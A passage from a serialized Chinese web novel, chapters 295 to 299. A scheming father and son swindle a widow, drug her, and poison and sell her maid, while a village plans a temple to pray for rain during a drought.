“她眼光未免也太高了,那可是秀才公,虽说娶过亲,但妻子死了也没留下孩子,跟头婚也没差。 即便现在时运不济,银钱上不宽裕,只要金榜题名,那就一飞冲天了,岂是她能肖想得起的?” 马嬷嬷拍着大腿赞同道, “可不是,我说她就是癞蛤蟆想吃天鹅肉,真不知道天高地厚。 居然连高秀才那样的人物都敢肖想,活该嫁不出去!” 乔香柳愣了愣,摆手道, “嫁不出去可不行,得赶紧把她给嫁出去,我实在受不了她动不动就喊相公了。 昨儿相公才进我那屋,还没说几句话,她就嚷嚷肚子痛,吓的相公赶紧过去给她把脉。 结果是她自己嘴馋贪凉,偷着喝了一碗冰紫苏饮,气的我半夜都没睡着,她怎么好意思的啊.......” 马嬷嬷见乔香柳又开始絮叨,赶忙打断她, “姑娘说的是,贱蹄子仗着相公仁义,就蹬鼻子上脸,咱们要是任由她为所欲为,她早晚得骑到咱们头上来! 既然她喜欢高秀才那样的,不如咱们就.......” 乔香柳犹豫再三,还是同意了马嬷嬷的提议。 再加一倍的嫁妆,让媒人去跟高秀才谈一谈。 高秀才为了给亡妻治病,欠了一屁股债,兴许会看在钱财的份上,娶了桃儿也说不定。 即便不成,她也尽力了,任谁也不能再说她些什么,她再让桃儿嫁给肉铺掌柜,兴许就会容易得多。 马嬷嬷捧着一套红宝石头面出了门,转手就给了杜家福。 杜家福看着流光溢彩的宝石头面,嘴里像是涂了蜜一般把马嬷嬷夸上了天,又是许诺又是赌咒发誓,等铺子开起来了就让马嬷嬷过上好日子。 听得马嬷嬷满心欢喜,根本不想回去在乔香柳跟前伺候,恨不得现在就颠倒身份,让她给自己捶腿捏肩,端茶送水。 小桃红见杜有才那么高兴,猜到他肯定又从乔氏那里弄到钱了,不由使出浑身解数,把杜有才伺候的舒舒服服。 让杜有才全然忘了自己过来,是为了小桃红老家藏的银钱的事。 一味沉浸在温柔乡中,临走时还被小桃红娇嗔痴缠着拽下了手上的翠玉扳指。 小桃红倚在门框上,娇笑着冲杜有才晃了晃扳指, “想要啊,拿金项圈来换,等儿子生下来了,可不能没有金项圈。” 杜有才扫了眼小桃红松散衣襟下露出的一抹翠色肚兜,喉结滚动了下,嘬着后槽牙道, “小狐狸精,等生了孩子,看爷怎么收拾你。 不就一个金项圈嘛,等着,爷明儿就给你弄来。” 小桃红睫毛一晃,朝杜有才抛了个媚眼,摸着肚子娇滴滴福了一礼道, “那奴就跟孩子等着了。” 杜有才一步三回头走了,小桃红脸上的笑意顿时收了回去,她举起翠玉扳指对着光看了看。 成色不错,水头凑合,应该能值个三五十两银子。 将扳指和这些天从杜有才和乔氏手里弄来的银钱首饰放在一起,小桃红嫌弃地拨弄了一番。 就这点统共不过值个一二百两,杜有才这个没用又抠门的家伙,连乔氏的首饰都骗不来。 想到乔氏头上那通体圆润的东珠发簪,手腕上水头极好的满阳绿翡翠手镯,还有那个镶嵌着七彩宝石的璎珞项圈,小桃红不由眼馋坏了。 那些东西,要是能弄到她手里,即便这辈子不嫁人,她也能过的舒舒服服。 咬了咬唇,小桃红掏出一枚丸药塞进了嘴里。 有孕也快两个来月了,她该孕吐了呢。 她得时时刻刻提醒杜有才,为了儿子,赶紧从乔氏那里搞钱来。 卖掉红宝石头面,又获得一笔银钱,杜家福和杜有才立刻把铺面租下,紧锣密鼓准备开张。 药材准备齐全,坐堂大夫也挖来了,一切准备就绪,不过几日,杜家医馆就开张了。 开张当天,乔香柳看着那热闹盛大的场景,很是高兴。 她终于可以不用再贴补家用,可以慢慢把当掉的首饰都赎回来,安稳过日子了。 哪知桃儿突然闹起了孕吐,还吐的很厉害,什么都吃不下,惹得相公和公公担心不已,整日围着她嘘寒问暖,倒把她这个正室夫人给晾在了一边。 乔香柳心里很不是滋味,明明她才是家里的女主人,现在倒让个外人挤的没有了容身之地。 可她还不能抱怨,稍稍跟相公说两句,相公就不耐烦地说桃儿现在怀着身孕,让她让着点,别太小心眼。 弄的乔香柳更加难受不满,还无处发泄,只能去外头找乐子,少在家里待着,省的看着心烦。 今儿戏班上了新戏,乔香柳早早就定了包间。 靠在软椅上,懒洋洋喝着茶吃着点心,让马嬷嬷给捏捏肩,听着包间伺候小丫鬟吹捧讨好,乔香柳心里这才舒服了些。 这才是她该过的日子啊,整日被个出身卑贱的穷酸女人气的一佛升天二佛出世算怎么回事? 可等正戏开演,乔香柳越看越觉得不对,这怎么,怎么那么像是在唱她和杜郎的事啊? 马嬷嬷也觉察出了不对,这是哪个天杀的排的戏,怎么能让乔氏看呢? 看到渣男哄骗小寡妇卖了嫁妆,转头就拿着银钱去讨好外头的女人,马嬷嬷坐不住了,抢在乔香柳前头发火道, “这演的都是些什么啊,真是乱七八糟! 姑娘,这戏不好看,咱们别看了,去五味斋买你最喜欢的杏仁酪吧。” 乔香柳不动弹,脸色越来越难看。 戏台上的故事太像她和杜郎了,甚至连哄骗她典当嫁妆首饰的说辞都大差不差。 她不想怀疑,可她忍不住怀疑。 自从铺子开张,桃儿孕吐严重后,杜郎在她面前没有一点温柔体贴,只有冷漠不耐烦。 不会是,他不会是真的跟戏台上的男人一样,是骗她的吧....... 第二百九十五章 气晕了 回去路上,乔香柳一言不发,脸色阴沉的能滴出水来。 从没见过她这个样子的马嬷嬷心中很是不安,等到了家,赶紧去找杜家福说了说今天的情况。 杜家福刚开始还不以为然,不就看了出跟自身境遇有些像的戏嘛,戏怎么能当真? 自从开了铺子,杜家福对待马嬷嬷便有些不耐烦了,他本就不喜欢这个又老又丑的女人,讨好她就是为了哄骗乔氏。 现在乔氏的手里已经没有多少值钱的东西了,他们也有了自己的营生,囤积的那些药材现在出手就能赚几千两。 实在没必要再继续巴结讨好这对主仆了,但杜家福还是耐着性子继续听马嬷嬷废话。 这是他做人的准则,但凡能忍就不会撕破脸,做人留一线,日后好相见。 可当听到戏里的男子骗光妻子嫁妆,一脚踹了妻子,跟外头的姘头成了婚,杜家福的脸色不由变了。 难怪乔氏受刺激了,这个戏班子真是可恶至极,当着她的面居然演这种戏。 不能让乔氏生出疑心,得赶紧打消她的顾虑。 杜家福哄了马嬷嬷几句,拉着她好一通教。 等马嬷嬷回去,准备向乔氏施展刚学到的话时,却发现乔氏居然不在屋里。 马嬷嬷不由慌了,乔香柳这人一向娇气,但凡出门,哪怕没走几步,回来也要嚷嚷累了出汗了,这里不舒服那里难受。 一定要好好泡个澡,从头到脚换一身干净衣服才算安生。 按照以往的经验,她现在应该还在泡澡才对,可屋里居然没有人。 她去哪儿了? 马嬷嬷赶紧去叫守门的小丫鬟,哪知小丫鬟也不在,她只能自己去找。 这一找就找到了前院,乔香柳呆愣愣站在西厢房后侧小院的门口。 听着屋里的娇笑喘息,听着那个熟悉的男人声音,对别的女人说着比对自己还温柔体贴的话,整个人彷若五雷轰顶,呆若木鸡。 马嬷嬷一看这个情形就暗道不好,立刻冲过去一把扶住乔香柳,并大喊提醒屋里的男女, “姑娘,姑娘,你怎么了?你别吓我啊.......” 屋里床上,杜有才急忙爬起身,手忙脚乱抓起裤子往身上套,却因为太急太慌张没看清前后,套错了腿,险些绊倒。 小桃红欣赏了会儿男人狼狈的丑态,这才慢悠悠系好肚兜,穿上外衣,帮着杜有才系好了腰带,轻声安抚道, “表哥别慌,你我青梅竹马感情深厚,你怜惜我无依无靠,一时情难自禁也是难免的。 说到底,都是我不好,太过喜欢表哥,才会忘了男女大防,犯下如此大错。 表嫂若是因此恼了我,打我骂我,也是我活该,一切与表哥无关。” 杜有才愣愣地看着小桃红,小桃红轻轻抚平他的衣襟,将手放在他的心口,含着泪咬着唇用气声轻唤, “冤家,我必是上辈子欠了你的,这辈子要拿命来还你。” 说着,轻轻推开杜有才,就要抢先一步走出去。 “桃儿,桃儿........” 杜有才知道桃儿这是要把错都揽在自己身上,保全他,感动的无以加复,忍不住追过去,张开双臂从背后紧紧把她抱在怀里。 两人头颈相依,默默垂泪。 明明是一对偷情的男女,却在此刻莫名有种生死相依的悲凉。 看的在马嬷嬷大声呼唤中醒过神,踉跄着冲进来的乔香柳眼前一阵阵发黑,她只觉得喉间翻滚,恶心想吐。 喉咙深处涌上来一股血腥气,冲的她再也站立不住,眼睛一翻,身子一软,倒了下去。 马嬷嬷真的慌了,她吓的脸色发白,一把抱住乔香柳,扯着嗓子喊, “来人,快来人,快去请大夫,姑娘晕了........” 杜家福拦住了要去请大夫的小厮,命人去拿药箱来,他要亲自救治儿媳。 即便他的医术并不高明,擅长的也只是配药,并没有十足把握能治好乔氏。 但家丑不可外扬,若是被知府夫人知道杜有才跟别人通奸,气晕了乔氏,难免会发怒。 为了家宅太平,他只能冒险一试。 好在几针下去,乔香柳悠悠转醒,哇的吐出一口黑血,脸上渐渐有了血色,脉象也平稳了下来。 杜家福不由暗暗松了口气,瞪了眼衣衫不整的杜有才,厉声怒喝, “你这混账,还不滚过来跪下给你媳妇赔罪!” 杜有才迅速看了眼杜家福,见他冲自己微微眨了下眼睛,知道乔氏应无大碍了,悬着的心终于放回了肚子。 赶紧连滚带爬冲到乔香柳床边,跪下哭求道, “娘子,你快吓死我了,都是我的不是,是我鬼迷心窍,是我不知廉耻,是我对不起你........” 说着,还拉过乔氏的手,往自己脸上打,哭着道, “你打我吧,千错万错都是我的错,你打死我我都无话可说。 只求你千万想开些,别伤了自己的身子。” 乔香柳想把手抽回来,却没力气,看着杜有才哭的眼泪汪汪,只觉得心头堵的生疼,眼眶酸的厉害。 她厌恶地转过头,闭上了眼睛,两行清泪顺着眼角流了下来。 马嬷嬷生怕知府那边怪罪,不敢再维护杜有才,做出一副气坏了的样子,跳着脚骂, “姓杜的,我们姑娘对你掏心掏肺,你居然背着她做下如此丑事,你怎么对得起她? 你们是不是欺负我们姑娘没有父母兄弟,我可告诉你们,有我老婆子在,谁也别想欺负我家姑娘。 大不了我就拼上这条老命,也要拽着你们一起下地狱.......” 乔香柳见马嬷嬷这般,眼泪流的更厉害了,哭着冲她伸出手,嘴唇颤抖, “奶娘........” 马嬷嬷忙上前,一把握住乔香柳的手,狠狠表了一通忠心,听得杜家福嘴角直抽抽。 难怪乔氏这般信任这个老女人,装的可真忠心。 不过只要乔氏依然信任她,今天这事就能摁下去。 不出杜家福所料,最终马嬷嬷还是哄住了乔氏,没让她去找知府夫人哭诉。 杜有才又端茶倒水没日没夜贴身照顾了几日,乔氏最终还是心软了,饶过了他这回。 默许了他和小桃红的私情,不拦着他们来往,但是也不给小桃红妾室的名分。 对杜有才也不似之前那般依赖信任,动不动就甩脸子,放狠话,哭着死命掐他。 弄的杜有才苦不堪言,天天赌咒发誓连哄带骗,他真怕哪天万一应验了啊。 杜家福心疼儿子,也担心乔氏秋后算账,思来想去,决定趁着价高,把囤积的药材尽快出手。 万一乔氏闹起来,并州府他们待不下去了,就去京城。 只要有钱,无论去哪儿,都能过的风生水起。 不是非要在并州知府这一棵树上吊死,但凡自己能立起来,谁愿意整天巴结讨好别人啊。 杜有才举双手双脚赞成杜家福这个提议,他恨不得立刻带着钱去京城,他实在受够了在一个二婚老女人跟前低三下四百般讨好了。 他要带着桃儿,带着他们还没出世的儿子,一起去京城过好日子。 父子俩商量好,杜家福立刻联系倒卖药材的药商。 哪知之前一直追着他们要买药材的药商,不仅不立马赶来,还推三堵四了起来。 第二百九十六章 拎包跑路 杜家福感觉不对,急忙派人四处打听,这才知道药材价居然下跌了。 据说是有几个外地大客商大量出手药材,现在市面上他们囤积的那几种药材都不缺了,价钱自然就降了下来。 原本能赚二三千两的药材,现在只能赚一千两不到了。 前后不过两三天,他们居然损失了一多半的收益,气的杜家福险些晕过去。 杜有才也气地直骂, “到底是哪儿来的憨货,居然在这个时候一下子出手那么多药材,是不是脑子让驴给踢了啊? 不知道豫州府那边正在打仗,这些药材早晚要被运到战场上,朝廷的钱不赚白不赚,这个时候出手,是怕自己活不到明天吗? 爹,咱手里有货咱怕啥,咱就不出手,等着看吧,早晚还要涨起来。” 杜家福没杜有才这么乐观,虽说现在的时局确实会影响药材价格,但即便是朝廷,能拿来购买药材的银钱也很有限。 更何况一个地方一个价,这么多药材一下子扔到并州府这一个地方上,短期之内,这几种药材的价格别想涨起来了。 他们又不是家产丰厚经得起折腾的人家,没办法把那么多药材一直握在手里保存半年甚至一年。 还是早些出手,落袋为安的好。 尽管十分不情愿,杜有才还是相信杜家福对行情的判断,十分肉疼的点头同意出手药材。 不成想,他们犹豫了一日,药材价格居然又下跌了。 这次不是外地药商,而是本地药商,见药材价格下跌,生怕亏钱,纷纷出手。 导致价格一落千丈,按现在的价钱,他们囤积的药材要是出手的话,几乎赚不到钱了。 杜有才慌了, “爹,这可怎么办? 咱们统共就只有这点钱,不能赔了啊!” “别慌,别慌,这个时候不能慌,你容我好好想想。” 杜家福试图安抚住杜有才,可他心里其实也慌得很,手上不小心一用力,就把胡子扯下来两根,疼的他直吸气。 让杜有才和杜家福无比恐慌的还在后头,小商贩们也跟着抛售药材,药材价格继续下跌。 跌的他们根本不敢再等了,现在已经不是赚多少的问题了,而是赔多少的问题。 最最重要的是,即便是这么低的价钱,也没人愿意接手了。 再不出手,这些药材就会变成一堆废柴,彻底砸在他们手里。 正当杜有才父子俩焦头烂额,想方设法处理药材时,小桃红准备跑路了。 她自从住进杜家就用银钱收买了守门的婆子,和跟在杜有才身侧的跑腿小厮,杜有才父子但凡有点风吹草动,他们就会告诉她。 得知杜有才父子的生意要血本无归,不仅赚不到钱,还有可能变成穷光蛋后。 小桃红就打算拎包跑路了,她来投奔杜有才是为了搞钱,不是为了给自己找麻烦。 她见过太过又穷又横还凶残的坏男人了,她比谁都清楚男人一旦没了钱会有多疯癫。 她不想等到杜有才走投无路惦记上她手里的银钱,甚至把她卖了换钱时再狼狈逃窜,她要赶紧走人。 只是在临走前,她还得从乔氏那里再敲一笔。 乔香柳虽说面上原谅了杜有才,但心里还是有了疙瘩,没办法像之前那么信任他了。 对小桃红自然更加不待见,恨不得她有多远死多远。 突然得知一个地痞无赖找上门,说是小桃红夫家的大伯哥,要带她回去给前夫守孝,乔香柳差点没笑出声。 真是恶人自有恶人磨,正好男人们都不在家,她一个妇道人家拦不住穷凶极恶的无赖,谁又能责怪她什么。 于是,乔香柳非但不阻拦,还十分配合的接受了男人的勒索,给了他一笔银钱,让他带走了小桃红。 看着那个黑脸黄牙长得无比猥琐的粗鲁男人,揪着小桃红的发髻,一把把她扯了出去,乔香柳心里只觉得痛快至极。 可算是把这个狐狸精给弄走了,这一百两银子花的值! 却不知出了胡同,上了骡车后,男人就松开了手,跪在小桃红脚边,双手奉上了银票。 小桃红揉了揉被拽疼的头皮,举起银票仔细看了看,确定没问题后,翘起了唇角。 从包袱里摸出两个银锭扔给男人,小桃红冷声警告道, “王老六,管好自己的嘴,才能活的长久。” “是,是,小的一定管好自己的嘴,这两年不会再踏进并州府城一步。” 王老六飞快把银锭塞进怀里,连声保证道。 小桃红满意点头,抬了抬手, “滚吧。” 王老六爬起身,掀起车帘准备跳下去时,忍不住回头看了小桃红一眼, “姑娘不回岚县吗?” 小桃红扬起唇角,眼中满是野心和期待, “不回,我要去京城!” 王老六暗道这娘们好大的胆量,居然敢一个人去京城闯荡,但心里不免还是有些佩服,抱拳道, “那祝愿姑娘一路顺风,心想事成,若将来有用得着我王老六的地方,只管捎信过来。” “嗯,有好处会想着你的。” 小桃红随口应承了句,她大概不会再有用到王老六这种人的地方了,但做人嘛,不能把话说的太死了。 只要条件允许,她还是不吝啬给陷在烂泥堆里的人一点点希望的。 谁让她也是从这里头爬出来的呢。 杜家,乔香柳解决了心头大患,忍不住想跟最亲近的人分享喜悦。 却看到马嬷嬷脸上非但没有半分喜色,还满是担忧不安。 乔香柳的心不由猛地一沉,想起自己从戏院回来那天,嬷嬷把她扔给小丫鬟,自己急急忙忙跑了出去。 现在也是这样,明明应该很开心的,她却一脸担忧。 她在为谁担忧? 她在替谁不安? 乔香柳忍不住盯着马嬷嬷,沉声质问道, “嬷嬷觉得我做的不对?” 马嬷嬷怔了下,看到乔香柳不同以往的锐利眼神,赶忙回道, “姑娘做的当然是对的,这种地痞无赖不能招惹,万一他闹到衙门,告咱们一个拐带良家妇女,咱们可就惹上大麻烦了。” “是吗?可我看你好像不开心的样子呢。” 乔香柳扯了扯嘴角,皮笑肉不笑。 马嬷嬷心里暗骂乔香柳吃饱了撑的又作妖,嘴上却赶忙解释道, “老奴没有不开心,姑娘开心,老奴就开心。 老奴只是担心,咱们没跟老爷和姑爷说一声就自作主张,万一惹的他们埋怨,可如何是好?” 乔香柳冷哼一声,不屑道, “他们吃我的用我的,若是还敢埋怨我,那我未免也太好欺负了。” 说着,忍不住咬着后槽牙道, “我就是太要脸,才会让他们蹬鼻子上脸,弄这么个下贱女人来恶心我。” 马嬷嬷看着神色阴沉到有些可怕的乔香柳,心里不由打了个寒颤。 她怎么变得这么难缠了? 莫不是又发现了什么? 乔香柳什么也没发现,她只是忍不住一遍遍回想那出戏,忍不住用戏台上的故事对照自己和杜有才。 然后越来越心寒,越来越后悔,越来越觉得戏里被骗的一无所有下场悲惨的女子就是她。 她害怕,气恨,悲愤,这些情绪最终都化为了对杜有才甚至杜家福的怨恨。 这口气堵在她心口,怎么压都压不下去,让她忍不住对马嬷嬷都生出了怀疑。 第二百九十七章 心狠手辣 等到杜有才拖着疲惫不堪的身子回来,得知小桃红被无赖大伯哥抓走,不由又惊又怒,没忍住冲乔香柳大吼了起来。 桃儿哪儿有什么婆家大伯,她从小就被家里卖给了春香院。 一定是乔香柳这个蛇蝎毒妇,趁他不在家,找了个托儿,把桃儿抓去卖了。 可怜桃儿对他痴心一片,肚里还怀着他的孩子呢,竟然糟了这个恶妇的毒手,就这么没了。 乔香柳看着杜有才那副恨不得杀了自己的狠辣模样,只觉得自己的怀疑都成了真,这个男人就是个忘恩负义的王八蛋。 她气急恨极,抛下了所有教养,像个泼妇一般,指着杜有才的鼻子骂他不是人,薄情寡义不要脸。 杜有才没想到乔香柳自己做下了这么恶毒的事还敢撒泼,更没想到她会当着下人的面这么骂他,一个没忍住,抬手狠狠扇了乔香柳一耳光。 乔香柳被扇的整个人都趔趄着倒了下去,眼冒金星,嘴里发腥,脸上火辣辣的疼。 她捂着脸,难以置信地看着杜有才,眼泪跟断线的珠子一样争先恐后落下来。 她长这么大,从没挨过打,生平头一回挨打,居然是被自己的丈夫扇耳光。 这彻底击溃了乔香柳对人性的认知底线,她崩溃了,失控了,推开马嬷嬷要来扶她的手,爬起来不顾一切往外跑。 她要去找表姐,她要去报官,她被这个卑鄙无耻的男人给骗惨了! 杜家福在前院听到动静就急忙跑过来,看到乔香柳状若疯癫往外跑,来不及多想,立刻冲上去一把抱住了她。 乔香柳拼命挣扎,撕心裂肺大喊, “放开我,放开我,表姐救我,救我啊,救我.......” 杜家福听得心惊胆战,冲追过来却只顾着发愣的杜有才大吼, “你还不快把你媳妇抱回屋,小两口吵架闹成这样要作甚?” 杜有才如梦初醒,赶忙冲过去捂住乔香柳的嘴,连拖带抱强行把她弄回了屋。 可这次,不管是他磕头赔罪,还是马嬷嬷苦口婆心,乔香柳都不听了。 她跟疯子一样,一个嚷着自己被骗了,哭着闹着要去找表姐。 杜家福一狠心,干脆用蒙汗药迷晕了她,让马嬷嬷去安抚下人,封锁消息。 自己又配了几包添加了蒙汗药的安神药,让马嬷嬷熬好了一日三次喂给乔香柳。 同时安排两个小丫鬟守好房门,以防万一乔香柳喝了药还有力气,偷偷跑出去。 杜有才害怕的手脚发凉,两股战战,眼巴巴望着杜家福, “爹,咱们也不能一直喂她药吧? 那药喝多了人会变傻的。” 杜家福没好气道, “现在知道后悔了?早干嘛去了? 你啊,真是记吃不记打,怎么还这么冲动呢?” 杜有才急的不行,拉着杜家福胳膊连声道, “爹啊,都这会儿了,你就别光顾着教训我了,赶紧想想办法吧。” “没别的办法,唯一的办法就是赶紧走。” 杜家福用力抿了下唇,沉声道, “我想办法把药材处理掉,把铺子转让出去,你想办法把乔氏手里值钱的东西都弄来。 等我托人办好了路引,咱们立刻就走。” 杜有才用力点头,乔香柳经常佩戴的那些首饰可值不少钱呢,趁她现在不能反抗,一不做二不休,把所有东西拿去卖掉。 只要有钱,他就不信,他在京城还能找不到发财的路子。 不过,杜有才担心道, “爹,姓马的老婆子怎么办?” 杜家福眯了眯眼睛, “简单,一个老奴才,远远发卖了就是。” 杜有才丝毫不觉得杜家福心狠手辣,只担心马嬷嬷会不会出去嚼舌根。 对此,杜家福早有准备,能把人毒哑的药多了去,既然决定发卖,他肯定不会给自己留下隐患。 马嬷嬷给乔香柳灌了药,正准备去找杜家福好好商量一下接下来该怎么办,杜家福就先找了过来。 见他堂而皇之进了内室,马嬷嬷赶忙拦住他,压低声音提醒道, “你一个当公公的怎好进儿媳的卧房,被人瞧见了不成体统。 便是有再着急的事,也该同我去外头说啊。” 说着,就伸手去扯杜家福的衣袖,不料手刚伸出去,就被杜家福一把握住。 她不由有些羞涩,抬起眼皮想要骂他一句“死鬼”,却对上了杜家福阴森冰冷的眼睛。 马嬷嬷被吓到,控制不住地抖了下身子,想要抽回手,却被杜家福更加用力一拽,整个人扑到他怀里。 然后脖子便被掐住了,不得不张开嘴呼吸。 杜家福迅速将一颗药丸塞入马嬷嬷嘴里,然后跟烤鸭店填喂鸭子一般,一手掐着她的下颚,一手撸着她的脖子,直到药丸被顺下去。 马嬷嬷重获自由后,第一件事就是伸出手指去扣喉咙,被杜家福一把掰着手指将手臂反扣在了背后。 “你要干什么?你想干什么?姓杜的,你可别忘了我为你都做过些什么,你敢对不起我,我就跟你拼了,啊——” 杜家福回应马嬷嬷的是更加用力地扭着她的胳膊,狠狠踹她的腿窝,疼的她不得不跪倒在地。 松开手,看着因为疼痛蜷缩着身体,跟煮熟虾米一样的老女人,杜家福不屑冷哼道, “就凭你,也配跟我拼命,你也不撒泡尿照照,你算个什么东西。” 马嬷嬷又气又怒又惊惧万分,这才意识到自己之前都是与虎谋皮,可事已至此,一味嘴硬只会让自己伤的更重。 只有先逃出去,找到表姑娘,请她帮忙,才能扭转局面。 想到此,马嬷嬷使劲咬了下舌尖,想要让自己冷静下来哄住杜家福。 哪知她好不容易冷静下来,一张口,却发现自己嗓子眼里像是堵了块石头,发出声音变得极其困难。 马嬷嬷急了,再也冷静不下来,捂着脖子恶狠狠瞪着杜家福, “你,你喂我,吃,吃了什么?” “半夏生用有毒,会使人失音变哑,这是所有制药的人都懂的医理。 可只有很少人知道,生半夏需要多少用量才能让人变成哑巴,心肺却不会受到太大的损伤。 我不仅能用生半夏入药,还能用生半夏治疗气喘之症,我配的药吃过的人成千上万,却从不曾有一个戢喉失音的。” 杜家福有些得意,又有些愤愤不平道, “我这般聪慧,在学医上如此有天赋,却因家境贫寒只能靠给人做上门女婿,才有配药的机会。 哪怕我熟读医经,能把药典倒背如流,甚至针灸和把脉看诊也不差,人们提起我来,还是只记得我是丁家的赘婿,医馆还是丁家的。 这世道何其不公? 我为何一定要屈居人下? 我不过想为自己拼一把,想让我杜家医馆能够名扬天下,我有什么错? 若我这样勤勉奋进的人都有错,那你们这般蠢笨无能的人就不该活着!” 在马嬷嬷惊恐怨恨的注视中,杜家福冷冷吐出最后一句, “马氏,你偷盗财物,背主忘本,不仁不义,罪大恶极,来人啊,把她给我绑了!” 马嬷嬷做梦也没想到杜家福会这么狠,努力撑起身子想要逃跑,可已经来不及了。 早就等在门外的两个小厮,冲进来一把摁住马嬷嬷,用绳子将她捆了个结结实实,套上麻袋,直接塞入骡车,送去牙行。 第二百九十八章 收拾烂摊子 牙行处理这种犯错被卖的恶奴多了去了,见马嬷嬷年纪大长得难看还是个哑巴,主家又不差钱,只要求卖的越远越高。 便大手一挥,把马嬷嬷卖给了距离府城一百多里的黑煤矿。 黑煤矿上管得严,人只要进去,根本出不来。 那里的男人跟牲口没啥两样,半点也不挑,只要是个女的,不管年纪大小丑或者美,都抢着要。 白天洗衣做饭,晚上暖床铺被,会不会说话无所谓。 马嬷嬷口不能言,手脚还被绑着,根本找不到任何机会跟知府衙门那边通风报信,就被送出了城。 杜家福以为发卖了马嬷嬷,控制住了乔香柳,就能高枕无忧,安心变卖家财准备跑路了。 却不知乔香柳虽然昏迷不能动弹,但并非完全没有意识。 她知道自己被灌了蒙汗药,知道马嬷嬷被毒哑卖掉,知道再这么下去,自己只有死路一条。 可她动弹不得,大部分时候都毫无意识,只能默默在心里祈祷表姐能从天而降,救她于水火。 杜家福更加不知道,他的所作所为知府夫人都了若指掌,之所以不出手,是想等他们父子狗急跳墙,等乔香柳吃尽苦头看清真相。 除了知府夫人,凌母也察觉到了杜家的不对劲,她感觉要出大事了。 不敢再替儿子隐瞒,把凌十三拜托她盯着杜家的事告诉了凌父。 凌父深知儿子的习性,觉得凌十三不会只让凌母帮忙盯着,自己什么也不做,就连夜赶到了九川书院,亲自审问了一番。 凌十三骨头软,扛不住亲爹威逼利诱,把他们私下干的那些事告诉了凌父。 凌父被这几个小子的胆大包天吓到了,狠狠骂了凌十三一通。 这帮黄毛小子想的真是简单,就凭小桃红能坐稳春香院头牌这么多年,她就绝对不是一个会被这帮小子轻易算计的女人。 说不好人家早就识破了他们的打算,只是顺水推舟想从春香院脱身呢。 杜家真闹出什么乱子来,知府夫人不查也就罢了,只要查,早晚能查到他们几个身上。 那个乔氏若是没事还好,若真有什么不好,只怕知府夫人连这几个黄毛小子也要怪罪上了。 可儿子是亲生的,即便做事实在鲁莽蠢笨,他这个当爹的,也只能帮忙收拾烂摊子。 好在他在岚县也认识一些三教九流的朋友,只要做的仔细些,应该能帮他们几个掩饰成少年人的争风吃醋吧。 凌父自去找人帮忙,凌十三被骂的也忍不住担心了起来,跟杜衡嘀嘀咕咕了一通,决定还是趁着这次放假回家,赶紧给高娇娇也通个气。 石楼村,高娇娇和高长天等人正在商量如何抗旱。 今年的天实在是太旱了,自从入夏以来,就下过一场雨,还是毛毛雨,地皮都没打湿就停了,根本没什么用。 河水水位持续下降,地里的庄稼全靠浇水才能活下来。 每天天不亮就起来挑水,一直忙到天黑才回,为了那一亩三分地,磨破了肩膀,磨烂了草鞋,也不知道能收几斤粮。 有些家底薄劳动力不足的,都不想再浇地了,再雇人浇地,地里的收成可能还不够人工钱。 高娇娇也被浇地搞的烦不胜烦,这么热的天,十天半个月不浇一次地,庄稼就得干死。 一浇三四天,过个七八天,又得去浇,感觉一天到晚啥都没干,就剩下浇地了。 就这,庄稼长的也不尽人意,高娇娇都恨不得干脆直接拿钱去城里买粮食了。 看天种地实在是太难了! 可高长天他们说,地要是不好好打理,损失的可不是一季的粮食。 更何况世道这么乱,谁能保证城里一直都会有粮食卖。 只有自己手里有粮,才能安稳过日子。 高娇娇觉得他们说的也有道理,但问题是,河里就那么点水,地就是那么高,只能用独轮车推着水桶上去浇,根本没别的办法啊。 他们再商量,难道还能商量出花来? 高长天也知道这事很难,可再难也得想办法啊。 三个臭皮匠顶个诸葛亮,大家聚一起说一说,保不齐谁就会有法子呢。 高娇娇想了又想,想出一个不算是办法的办法——烧山求雨! 从古至今,人们对抗天灾的方式有很多种,不管是君王还是百姓,都会通过各种仪式来祈求神灵的保佑。 烧山求雨就是其中一种常见的仪式,在干旱时期,通过这种方式来祈求上天降雨,缓解旱情。 高娇娇肯定不可能指望神灵保佑,她记得讲评三国中有人提到过火烧上方谷的原理。 说诸葛亮的一把火,改变了上方谷的热力环流方向,使得谷底大量气流上升,随着高度上升温度降低,水汽容易凝结。 而柴草燃烧产生的大量烟尘随着空气上升到高空,为水汽凝结提供了理想的凝结核,从而加速了水汽的凝结。 最终导致倾盆大雨浇灭了上方谷的大火,所以烧山求雨其实是有一定科学依据的,或许他们可以试一试。 只是,天这么旱,山中草木比较干,一个弄不好,没求来雨,反倒引来山林大火可就不妙了。 高娇娇说出这个法子,本来是指望朱钰他们来解决一下如何烧山,怎么烧才能求到雨,还不会引发山林大火。 结果万万没想到,他们一听求雨想到的却是盖庙。 朱钰说的特别有理有据, “凡有村者,必有庙,不论是土地还是财神,亦或是送子娘娘观音庙,总是要有的。 咱们又是外头来的,想在这里长长久久安稳下去,自然是要拜一拜当地的神仙。 保不齐如今这种情况,就是因为咱们不知礼数,惹的神仙不满也不一定。” 高长天等人纷纷点头,觉得正是这个道理。 高长天还十分自责道, “我竟未曾想到这个,实在是我的疏漏,盖庙要用的砖瓦石料,全由我家来出。” “这怎么行,主要还是我的不是,是我没早些想到此事,没能早些提醒你们。” 老王比高长天还自责,他住在这里这么久了,居然没发现这个问题。 难怪以前的石楼村会被屠,说不定就是得罪了神仙,才降下的惩罚啊。 其他人也纷纷表示这不是高长天的责任,大家都有责任,恨不得当场就凑齐银钱,立刻动工给神仙塑金身请进庙里来。 高娇娇看的目瞪口呆,不是,怎么就扯到这上头来了啊? 咱们能不能相信科学啊? 朱钰表示,什么磕血还是磕糖他不懂,但他很清楚,盖庙不一定能求来雨,却一定能求来心安。 寻常百姓毕生所求不过是吃饱穿暖身心安稳,比起里正县令朝廷,他们更信神灵。 哪怕这个神不一定能保佑他们,但只要有,他们就有地方磕头烧香跪拜,就不至于走投无路。 所以盖庙很有必要,最好还是让各家各户都出一点钱,这样盖出来的庙才能更灵验。 高娇娇彻底无语了,敢情这是搞心态啊。 那她家大操大办弄喜宴算什么? 朱钰扇了扇扇子,勾唇一笑, “算你家有钱。” 高娇娇......... 第二百九十九章 真的喜欢 比起入股盖房子,凑钱盖庙,大家要积极的多。 根本不用高长天他们召集,更不用他们劝说,刚公布要盖庙的事,就有人找上了门。 还不是村里条件好的人家,而是最穷的那几家。 提着平日里自己都舍不得吃的细粮,一个劲儿往高长天手里塞,只求能在庙建好的时候,在功德碑上留下自家的名字,让神仙多保佑一点。 看的高娇娇心里很不是滋味,真切体会到了朱钰的用意。 越是生活困苦的人,越是得信点什么,才能找到希望。 